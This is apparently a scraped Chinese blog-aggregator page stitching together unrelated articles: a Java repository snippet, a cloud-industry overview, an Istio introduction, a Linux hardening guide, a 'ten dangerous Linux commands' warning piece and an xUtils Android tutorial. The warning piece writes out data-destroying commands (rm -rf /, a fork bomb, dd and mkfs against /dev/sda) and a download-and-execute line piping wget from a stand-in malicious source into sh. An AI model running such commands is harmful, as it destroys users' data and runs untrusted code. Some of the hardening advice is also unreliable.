void save(CaseAggregate aggregate) throws RepositoryException; } @Repository public class CoordinationRepositoryImpl implements CoordinationRepository { @Override public void save(CaseAggregate aggregate) throws RepositoryException { try { //聚合根转PO,update-tracing技术 CasePO casePO = caseConverter.toCasePO(aggregate.getCase()); CasePO oldCasePO = null; if (aggregate.getCase().isAppended()) { casePOMapper.insert(casePO); aggregate.getCase().setId(casePO.getId()); } else { oldCasePO = casePOMapper.selectByPrimaryKey(casePO.getId()); casePOMapper.updateByPrimaryKeySelective(casePO); } // 发送协同单状态改变消息 if (CaseStatusEnum.FINISH.getCode().equals(casePO.getStatus()) || CaseStatusEnum.WAIT_DISTRIBUTION.getCode().equals(casePO.getStatus()) || CaseStatusEnum.PROCESSING.getCode().equals(casePO.getStatus()) || CaseStatusEnum.APPOINT_PROCESS.getCode().equals(casePO.getStatus()) || CaseStatusEnum.WAIT_PROCESS.getCode().equals(casePO.getStatus()) || CaseStatusEnum.CLOSE.getCode().equals(casePO.getStatus()) || CaseStatusEnum.REJECT.getCode().equals(casePO.getStatus()) || CaseStatusEnum.PENDING_ACCEPTANCE.getCode().equals(casePO.getStatus())) { FollowerDto followerDto = new FollowerDto(); followerDto.setCurrentFollowerId(aggregate.getCase().getFollowerValue().getCurrentFollowerId()); followerDto.setCurrentFollowerGroupId(aggregate.getCase().getFollowerValue().getCurrentFollowerGroupId()); followerDto.setCurrentFollowerType(aggregate.getCase().getFollowerValue().getCurrentFollowerType()); followerDto.setCurrentFollowerName(aggregate.getCase().getFollowerValue().getCurrentFollowerName()); //拒绝和关闭都使用CLOSE String tag = CaseStatusEnum.codeOf(casePO.getStatus()).name(); if(CaseStatusEnum.REJECT.name().equals(tag)){ tag = CaseStatusEnum.CLOSE.name(); } statusChangeProducer.send(CaseStatusChangeEvent.build() .setId(casePO.getId()) .setFollowerDto(followerDto) .setStatus(aggregate.getCase().getStatus().getCode()) .setCaseType(aggregate.getCase().getCaseType()) .setOldStatus(null != oldCasePO ? oldCasePO.getStatus() : null) .setAppointTime(aggregate.getCase().getAppointTime()), (tag)); } // 操作日志 if (CollectionUtils.isNotEmpty(aggregate.getCase().getCaseRecordValue())) { CaseRecordValue caseRecordValue = Lists.newArrayList(aggregate.getCase().getCaseRecordValue()).get(0); caseRecordValue.setCaseId(casePO.getId()); recordPOMapper.insert(caseConverter.from(caseRecordValue)); } } catch (Exception e) { throw new RepositoryException("", e.getMessage(), e); } } } CoordinationRepository接口定义在领域层。 CoordinationRepositoryImpl实现在基础层:数据库操作都是基于聚合根操作,保证聚合根里面的实体强一致性。 最后结束语 好的模型,可以沉淀组织资产,不好的模型,逐渐成为负债。 功能才是表象,模型才是内在。 建模过程是不断猜想与反驳的过程。 演化观点是建模过程的基本心智模式。 作者|章磊 点击立即免费试用云产品 开启云上实践之旅! 原文链接 本文为阿里云原创内容,未经允许不得转载

优秀的个人博客,低调大师

云计算产业链核心环节

随5G商用进程的推进,万物互联时代开启,5G与各行各业融合发展,赋能市场经济增长。产业信息化、智能化转型带来数据量几何式爆炸增长。 据中国移动预测,到2025年全球物联网连接数将达到300亿个,全球数据量将成倍增长。 而云计算作为应对海量数据的最佳处理方案,市场需求量迅速上升,IDC作为云计算产业链中关键环节,景气度随之提升。 IDC产业链上游包括IDC机房建设所必须的基础设施和条件,包括土地房屋、电力电源设备、网络、IT设备、制冷设备、监控设备等。前期需投入土建、配套工程等支出,后期有电力、运维和带宽租赁等支出。 上游支出中,IT设备一般占比最大,但因价格透明,云计算服务厂商出于对服务器、存储的成本控制,大厂商走定制化的道路,价格竞争激烈。 上游中的一线城市土地及电力资源的稀缺通常是制约一线城市IDC发展的重要因素,因此,IDC行业逐渐向一线城市周边发展。 中游是IDC服务和解决方案提供商,是数据中心产业建设的主力军,对上游的资源进行整合,提供稳定高效的IDC服务和整体结局方案。 下游主要为需要使用IDC服务的企业,主要包括互联网企业、金融企业、制造及软件企业、政府机关央企、传统行业等客户。 目前三大运营商在我国IDC市场占据了63%的市场份额。其他企业包括金融、能源等众多行业、企事业单位及政府机关。 随着相关产业的不断升级转换,在技术发展、环境节能、适用性等方面提出了新的要求。未来市场应用的深度及广度将不断扩展。 在企业竞争方面,中国的三家运营商目前拥有充裕的IDC资源,目前合计市场份额在50%左右;第三方IDC市场的竞争较为充分,根据机柜数测算,排名前三的公司为万国数据、秦淮数据、世纪互联。 从IDC市场竞争格局来看,2019年我国IDC企业竞争格局中,中国的三家运营商目前拥有充裕的IDC资源,中国电信、中国联通、中国移动的市场份额占比位列前三,分别为30.6%、19.1%和12.6%;电信运营商在IDC上的业务相对单一,以托管、机房资源和带宽资源租赁服务为主。为保持在IDC高速发展市场中的优势,正不断改变传统IDC业务结构,进行新一代数据中心的建设布局。 第三方IDC市场的竞争较为充分,根据机柜数测算,排名前三的公司为万国数据、秦淮数据、世纪互联。 目前在国内市场,云计算厂商、互联网巨头为每年IDC增量市场的需求主力,IDC行业未来将继续受益数据量增长及云计算需求提升,并伴随5G、人工智能等新基建的加速部署,需求持续旺盛,整体增速将保持在25%以上,由此带来的资本开支料将对IDC形成正向支撑。 根据科智咨询的数据,预计中国IDC市场规模在2022年将达到3200.5亿元。

优秀的个人博客,低调大师

Service Mesh 火项目 Istio 架构解析

Istio 是一个开源的服务网格,可为分布式微服务架构提供所需的基础运行和管理要素。随着各组织越来越多地采用云平台,开发者必须使用微服务设计架构以实现可移植性,而运维人员必须管理包含混合云部署和多云部署的大型分布式应用。Istio 采用一种一致的方式来保护、连接和监控微服务,降低了管理微服务部署的复杂性。 从架构设计上来看,Istio 服务网格在逻辑上分为控制平面和数据平面两部分。其中,控制平面 Pilot 负责管理和配置代理来路由流量,并配置 Mixer 以实施策略和收集遥测数据;数据平面由一组以 Sidecar 方式部署的智能代理(Envoy)组成,这些代理可以调节和控制微服务及 Mixer 之间所有的网络通信。作为代理,Envoy 非常适合服务网格的场景,但要发挥 Envoy 的最大价值,就需要使它很好地与底层基础设施或组件紧

优秀的个人博客,低调大师

linux服务器安全配置详解

1防止攻击 1、禁用ping,vi /etc/rc.d/rc.local下添加一行:echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all,0表示运行,1表示禁用 2、防止DOS攻击,所有用户设置资源限制,vi /security/limits.conf添加以下几行,hard core 0,hard rss 5000,hard nproc 50,禁止调试文件;检查/etc/pam.d/login文件,必须存在session required /lib/security/pam_limits.so 2注释不需要的用户和用户组 vi /etc/passwd 注释不需要的用户,“#”注释,如下: #games:x:12:100:games:/usr/games:/sbin/nologin #gopher:x:13:30:gopher:/var/gopher:/sbin/nologin #ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin #adm:x:3:4:adm:/var/adm:/sbin/nologin #lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin #sync:x:5:0:sync:/sbin:/bin/sync #shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown #halt:x:7:0:halt:/sbin:/sbin/halt #uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin #operator:x:11:0:operator:/root:/sbin/nologin vi /etc/group 注释不需要的用户组,如下: #adm:x:4:root,adm,daemon #lp:x:7:daemon,lp #uucp:x:14:uucp #games:x:20: #dip:x:40: #news:x:9:13:news:/etc/news 3禁止使用Ctrl+Alt+Del快捷键重启服务器 vi /etc/inittab #注释这一行 #ca::ctrlaltdel:/sbin/shutdown -t3 -r now 4使用yum update更新系统时不升级内核,只更新软件包 由于系统与硬件的兼容性问题,有可能升级内核后导致服务器不能正常启动,这是非常可怕的,没有特别的需要,建议不要随意升级内核。 cp /etc/yum.conf /etc/yum.confbak 1、修改yum的配置文件 vi /etc/yum.conf 在[main]的最后添加 exclude=kernel* 2、直接在yum的命令后面加上如下的参数: yum --exclude=kernel* update 查看系统版本cat /etc/issue 查看内核版本uname -a 5关闭自动更新 chkconfig --list yum-updatesd #显示当前系统状态 service yum-updatesd stop #关闭 开启参数为start chkconfig --level 35 yum-updatesd off #禁止开启启动) chkconfig yum-updatesd off #禁止开启启动(所有启动模式全部禁止) chkconfig --list yum-updatesd #显示当前系统状态 6隐藏系统信息 在缺省情况下,当你登陆到linux系统,会显示linux发行版的名称、版本、内核版本、服务器的名称。这些信息不能泄露,需隐藏起来。 修改下面两文件的命名。 mv /etc/issue /etc/issuebak mv /etc/issue.net /etc/issue.netbak 7关闭系统不需要的服务 service acpid stop chkconfig acpid off #停止服务,取消开机启动 service autofs stop chkconfig autofs off #停用自动挂载档案系统与周边装置 service bluetooth stop chkconfig bluetooth off #停用Bluetooth蓝牙 service cpuspeed stop chkconfig cpuspeed off #停用控制CPU速度主要用来省电 service cups stop chkconfig cups off #停用Common UNIX Printing System 使系统支援印表机 service ip6tables stop chkconfig ip6tables off #禁止IPv6 8禁止非root用户执行/etc/rc.d/init.d/下的系统命令 chmod -R 700 /etc/rc.d/init.d/* 9重要文件加上不可更改属性,从而防止非授权用户获得权限 给系统服务端口列表文件加锁,防止未经许可的删除或添加服务: chattr +a .bash_history chattr +i .bash_history chattr +i /etc/shadow chattr +i /etc/group chattr +i /etc/passwd chattr +i /etc/gshadow chattr +i /etc/services 重新添加删除用户需解锁,解锁命令为:chattr -i 对应文件 10限制文件的权限 700权限表示只有属主才能去操作 chmod 700 /usr/bin chmod 700 /bin/ping chmod 700 /usr/bin/vim chmod 700 /bin/netstat chmod 700 /usr/bin/tail chmod 700 /usr/bin/less chmod 700 /usr/bin/head chmod 700 /bin/cat chmod 700 /bin/uname chmod 500 /bin/ps 恢复文件权限命令:chmod 755 对应文件 11关闭多余的虚拟控制台 系统默认定义了6 个虚拟控制台,关闭多余的控制台,只留一个控制台,可以节省内存,防止从不同的控制台登录,修改如下: vi /etc/inittab # Run gettys in standard runlevels 1:2345:respawn:/sbin/mingetty tty1 #2:2345:respawn:/sbin/mingetty tty2 #3:2345:respawn:/sbin/mingetty tty3 #4:2345:respawn:/sbin/mingetty tty4 #5:2345:respawn:/sbin/mingetty tty5 #6:2345:respawn:/sbin/mingetty tty6 12优化内核参数 vi /etc/sysctl.conf net.ipv4.tcp_max_syn_backlog = 65536 net.core.netdev_max_backlog = 32768 net.core.somaxconn = 32768 net.core.wmem_default = 8388608 net.core.rmem_default = 8388608 net.core.rmem_max = 16777216 net.core.wmem_max = 16777216 net.ipv4.tcp_timestamps = 0 net.ipv4.tcp_synack_retries = 2 net.ipv4.tcp_syn_retries = 2 net.ipv4.tcp_tw_recycle = 1 #net.ipv4.tcp_tw_len = 1 net.ipv4.tcp_tw_reuse = 1 net.ipv4.tcp_mem = 94500000 915000000 927000000 net.ipv4.tcp_max_orphans = 3276800 #net.ipv4.tcp_fin_timeout = 30 #net.ipv4.tcp_keepalive_time = 120 net.ipv4.ip_local_port_range = 10024 65535 #(表示用于向外连接的端口范围。缺省情况下很小:32768到61000 注意:这里不要将最低值设的太低,否则可能会占用掉正常的端口! ) 13 限制shell命令记录大小 每个用户的主目录下都存放着/home/axjsms/.bash_history文件,可存放多大500条命令,为了系统安全,需限制该文件大小,可修改为50,vi /etc/profile添加HISTSIZE=50; 14 修改ssh服务的root登录权限 修改ssh服务配置文件,使的ssh服务不允许直接使用root用户来登录,这样减少系统被恶意登录攻击的机会。 vi /etc/ssh/sshd_config PermitRootLogin no 15修改ssh默认的端口 ssh默认会监听22端口,可以修改至8822端口以避过常规的扫描 1、修改22端口为8822端口,vi /etc/ssh/sshd_config把port 22改为port 8822 2、service sshd restart 3、查看端口是否正确,netstat -lnp|grep ssh 4、防火墙开放8822端口,vi /etc/sysconfig/iptables,添加-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 8822 -j ACCEPT 重启iptables服务,service iptables restart

优秀的个人博客,低调大师

Linux的10个危险的命令

Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候。 这篇文章将会向你介绍十条命令,但你最好不要尝试着去使用。 当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普通用户身份下,破坏的只是自己的一亩三分地。 1. rm -rf 命令 rm -rf命令是删除文件夹及其内容最快的方式之一。 仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。 下列是一些rm 命令的选项: rm 命令在Linux下通常用来删除文件。 rm -r命令递归的删除文件夹,甚至是空的文件夹。 rm -f命令能不经过询问直接删除‘只读文件’。Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。 rm -rf /: 强制删除根目录下所有东东。 rm -rf *: 强制删除当前目录的所有文件。 rm -rf .: 强制删除当前文件夹及其子文件夹。 从现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。) 2. :(){:|:&};: 命令 这就是个fork 炸弹的实例。 具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。 3. 命令 > /dev/sda 这个命令会将某个‘命令‘的输出写到块设备/dev/sda中。 该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。 4. mv 文件夹 /dev/null 这个命令会移动某个‘文件夹‘到/dev/null。 在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。 当然,要说明的是这个命令并不能阻止数据恢复软件——所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成。 5. wget http://malicious_source -O- | sh 该命令会从一个(也许是)恶意源下载一个脚本并执行。 Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。 注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。 6. mkfs.ext3 /dev/sda 上列命令会格式化块设备‘sda’,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。 通常我们不会直接使用/dev/sda这样的设备,除非是作为raw设备使用。 一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。 7. > file 这个命令常用来清空文件内容或记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。 你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。 如果用上列执行时输入错误或无知的输入类似 “>xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。 8. ^foo^bar 这个命令用来编辑先前运行的命令而无需重打整个命令。 用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。 9. dd if=/dev/random of=/dev/sda 这个命令会向块设备sda写入随机的垃圾文件从而擦出数据,让你的系统可能陷入混乱和不可恢复的状态。 记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。 10. 隐藏命令 下面的命令其实就是上面第一个命令 (rm -rf)。 这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄,如果在终端里运行下面命令可能会擦除你的根分区。 真正的危险是隐藏起来的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。 切记,千万不要编译/运行从未知来源的代码。 今天给大家带来的是个命令到这里就结束了啦,请千万记住不要再服务器或者其他设备上随意尝试~ 如果你想测试它们,请在虚拟机上运行,不然文件丢失或者系统奔溃就不好了。 文章来源:马哥教育

优秀的个人博客,低调大师

Android 火的快速开发框架XUtils

xUtils简介 xUtils 包含了很多实用的android工具。 xUtils 最初源于Afinal框架,进行了大量重构,使得xUtils支持大文件上传,更全面的http请求协议支持(10种谓词),拥有更加灵活的ORM,更多的事件注解支持且不受混淆影响... xUitls最低兼容android 2.2 (api level 8) 目前xUtils主要有四大模块: DbUtils模块: android中的orm框架,一行代码就可以进行增删改查; 支持事务,默认关闭; 可通过注解自定义表名,列名,外键,唯一性约束,NOT NULL约束,CHECK约束等(需要混淆的时候请注解表名和列名); 支持绑定外键,保存实体时外键关联实体自动保存或更新; 自动加载外键关联实体,支持延时加载; 支持链式表达查询,更直观的查询语义,参考下面的介绍或sample中的例子。 ViewUtils模块: android中的ioc框架,完全注解方式就可以进行UI,资源和事件绑定; 新的事件绑定方式,使用混淆工具混淆后仍可正常工作; 目前支持常用的20种事件绑定,参见ViewCommonEventListener类和包com.lidroid.xutils.view.annotation.event。 HttpUtils模块: 支持同步,异步方式的请求; 支持大文件上传,上传大文件不会oom; 支持GET,POST,PUT,MOVE,COPY,DELETE,HEAD,OPTIONS,TRACE,CONNECT请求; 下载支持301/302重定向,支持设置是否根据Content-Disposition重命名下载的文件; 返回文本内容的请求(默认只启用了GET请求)支持缓存,可设置默认过期时间和针对当前请求的过期时间。 BitmapUtils模块: 加载bitmap的时候无需考虑bitmap加载过程中出现的oom和android容器快速滑动时候出现的图片错位等现象; 支持加载网络图片和本地图片; 内存管理使用lru算法,更好的管理bitmap内存; 可配置线程加载线程数量,缓存大小,缓存路径,加载显示动画等... 使用xUtils快速开发框架需要有以下权限: <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 混淆时注意事项: 添加Android默认混淆配置${sdk.dir}/tools/proguard/proguard-android.txt 不要混淆xUtils中的注解类型,添加混淆配置:-keep class * extends java.lang.annotation.Annotation { *; } 对使用DbUtils模块持久化的实体类不要混淆,或者注解所有表和列名称@Table(name="xxx"),@Id(column="xxx"),@Column(column="xxx"),@Foreign(column="xxx",foreign="xxx"); DbUtils使用方法: DbUtils db = DbUtils.create(this); User user = new User(); //这里需要注意的是User对象必须有id属性,或者有通过@ID注解的属性 user.setEmail("wyouflf@qq.com"); user.setName("wyouflf"); db.save(user); // 使用saveBindingId保存实体时会为实体的id赋值 ... // 查找 Parent entity = db.findById(Parent.class, parent.getId()); List<Parent> list = db.findAll(Parent.class);//通过类型查找 Parent Parent = db.findFirst(Selector.from(Parent.class).where("name","=","test")); // IS NULL Parent Parent = db.findFirst(Selector.from(Parent.class).where("name","=", null)); // IS NOT NULL Parent Parent = db.findFirst(Selector.from(Parent.class).where("name","!=", null)); // WHERE id<54 AND (age>20 OR age<30) ORDER BY id LIMIT pageSize OFFSET pageOffset List<Parent> list = db.findAll(Selector.from(Parent.class) .where("id" ,"<", 54) .and(WhereBuilder.b("age", ">", 20).or("age", " < ", 30)) .orderBy("id") .limit(pageSize) .offset(pageSize * pageIndex)); // op为"in"时,最后一个参数必须是数组或Iterable的实现类(例如List等) Parent test = db.findFirst(Selector.from(Parent.class).where("id", "in", new int[]{1, 2, 3})); // op为"between"时,最后一个参数必须是数组或Iterable的实现类(例如List等) Parent test = db.findFirst(Selector.from(Parent.class).where("id", "between", new String[]{"1", "5"})); DbModel dbModel = db.findDbModelAll(Selector.from(Parent.class).select("name"));//select("name")只取出name列 List<DbModel> dbModels = db.findDbModelAll(Selector.from(Parent.class).groupBy("name").select("name", "count(name)")); ... List<DbModel> dbModels = db.findDbModelAll(sql); // 自定义sql查询 db.execNonQuery(sql) // 执行自定义sql ... ViewUtils使用方法 完全注解方式就可以进行UI绑定和事件绑定。 无需findViewById和setClickListener等。 // xUtils的view注解要求必须提供id,以使代码混淆不受影响。 @ViewInject(R.id.textView) TextView textView; //@ViewInject(vale=R.id.textView, parentId=R.id.parentView) //TextView textView; @ResInject(id = R.string.label, type = ResType.String) private String label; // 取消了之前使用方法名绑定事件的方式,使用id绑定不受混淆影响 // 支持绑定多个id @OnClick({R.id.id1, R.id.id2, R.id.id3}) // or @OnClick(value={R.id.id1, R.id.id2, R.id.id3}, parentId={R.id.pid1, R.id.pid2, R.id.pid3}) // 更多事件支持参见ViewCommonEventListener类和包com.lidroid.xutils.view.annotation.event。 @OnClick(R.id.test_button) public void testButtonClick(View v) { // 方法签名必须和接口中的要求一致 ... } ... //在Activity中注入: @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); ViewUtils.inject(this); //注入view和事件 ... textView.setText("some text..."); ... } //在Fragment中注入: @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.bitmap_fragment, container, false); // 加载fragment布局 ViewUtils.inject(this, view); //注入view和事件 ... } //在PreferenceFragment中注入: public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); ViewUtils.inject(this, getPreferenceScreen()); //注入view和事件 ... } // 其他重载 // inject(View view); // inject(Activity activity) // inject(PreferenceActivity preferenceActivity) // inject(Object handler, View view) // inject(Object handler, Activity activity) // inject(Object handler, PreferenceGroup preferenceGroup) // inject(Object handler, PreferenceActivity preferenceActivity) HttpUtils使用方法: 普通get方法 HttpUtils http = new HttpUtils(); http.send(HttpRequest.HttpMethod.GET, "http://www.lidroid.com", new RequestCallBack<String>(){ @Override public void onLoading(long total, long current, boolean isUploading) { testTextView.setText(current + "/" + total); } @Override public void onSuccess(ResponseInfo<String> responseInfo) { textView.setText(responseInfo.result); } @Override public void onStart() { } @Override public void onFailure(HttpException error, String msg) { } }); 使用HttpUtils上传文件 或者 提交数据 到服务器(post方法) RequestParams params = new RequestParams(); params.addHeader("name", "value"); params.addQueryStringParameter("name", "value"); // 只包含字符串参数时默认使用BodyParamsEntity, // 类似于UrlEncodedFormEntity("application/x-www-form-urlencoded")。 params.addBodyParameter("name", "value"); // 加入文件参数后默认使用MultipartEntity("multipart/form-data"), // 如需"multipart/related",xUtils中提供的MultipartEntity支持设置subType为"related"。 // 使用params.setBodyEntity(httpEntity)可设置更多类型的HttpEntity(如: // MultipartEntity,BodyParamsEntity,FileUploadEntity,InputStreamUploadEntity,StringEntity)。 // 例如发送json参数:params.setBodyEntity(new StringEntity(jsonStr,charset)); params.addBodyParameter("file", new File("path")); ... HttpUtils http = new HttpUtils(); http.send(HttpRequest.HttpMethod.POST, "uploadUrl....", params, new RequestCallBack<String>() { @Override public void onStart() { testTextView.setText("conn..."); } @Override public void onLoading(long total, long current, boolean isUploading) { if (isUploading) { testTextView.setText("upload: " + current + "/" + total); } else { testTextView.setText("reply: " + current + "/" + total); } } @Override public void onSuccess(ResponseInfo<String> responseInfo) { testTextView.setText("reply: " + responseInfo.result); } @Override public void onFailure(HttpException error, String msg) { testTextView.setText(error.getExceptionCode() + ":" + msg); } }); 使用HttpUtils下载文件: 支持断点续传,随时停止下载任务,开始任务 HttpUtils http = new HttpUtils(); HttpHandler handler = http.download("http://apache.dataguru.cn/httpcomponents/httpclient/source/httpcomponents-client-4.2.5-src.zip", "/sdcard/httpcomponents-client-4.2.5-src.zip", true, // 如果目标文件存在,接着未完成的部分继续下载。服务器不支持RANGE时将从新下载。 true, // 如果从请求返回信息中获取到文件名,下载完成后自动重命名。 new RequestCallBack<File>() { @Override public void onStart() { testTextView.setText("conn..."); } @Override public void onLoading(long total, long current, boolean isUploading) { testTextView.setText(current + "/" + total); } @Override public void onSuccess(ResponseInfo<File> responseInfo) { testTextView.setText("downloaded:" + responseInfo.result.getPath()); } @Override public void onFailure(HttpException error, String msg) { testTextView.setText(msg); } }); ... //调用cancel()方法停止下载 handler.cancel(); BitmapUtils 使用方法 BitmapUtils bitmapUtils = new BitmapUtils(this); // 加载网络图片 bitmapUtils.display(testImageView, "http://bbs.lidroid.com/static/image/common/logo.png"); // 加载本地图片(路径以/开头, 绝对路径) bitmapUtils.display(testImageView, "/sdcard/test.jpg"); // 加载assets中的图片(路径以assets开头) bitmapUtils.display(testImageView, "assets/img/wallpaper.jpg"); // 使用ListView等容器展示图片时可通过PauseOnScrollListener控制滑动和快速滑动过程中时候暂停加载图片 listView.setOnScrollListener(new PauseOnScrollListener(bitmapUtils, false, true)); listView.setOnScrollListener(new PauseOnScrollListener(bitmapUtils, false, true, customListener)); 输出日志 LogUtils // 自动添加TAG,格式: className.methodName(L:lineNumber) // 可设置全局的LogUtils.allowD = false,LogUtils.allowI = false...,控制是否输出log。 // 自定义log输出LogUtils.customLogger = new xxxLogger(); LogUtils.d("wyouflf"); 本文转自农夫山泉别墅博客园博客,原文链接:http://www.cnblogs.com/yaowen/p/5041699.html,如需转载请自行联系原作者

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。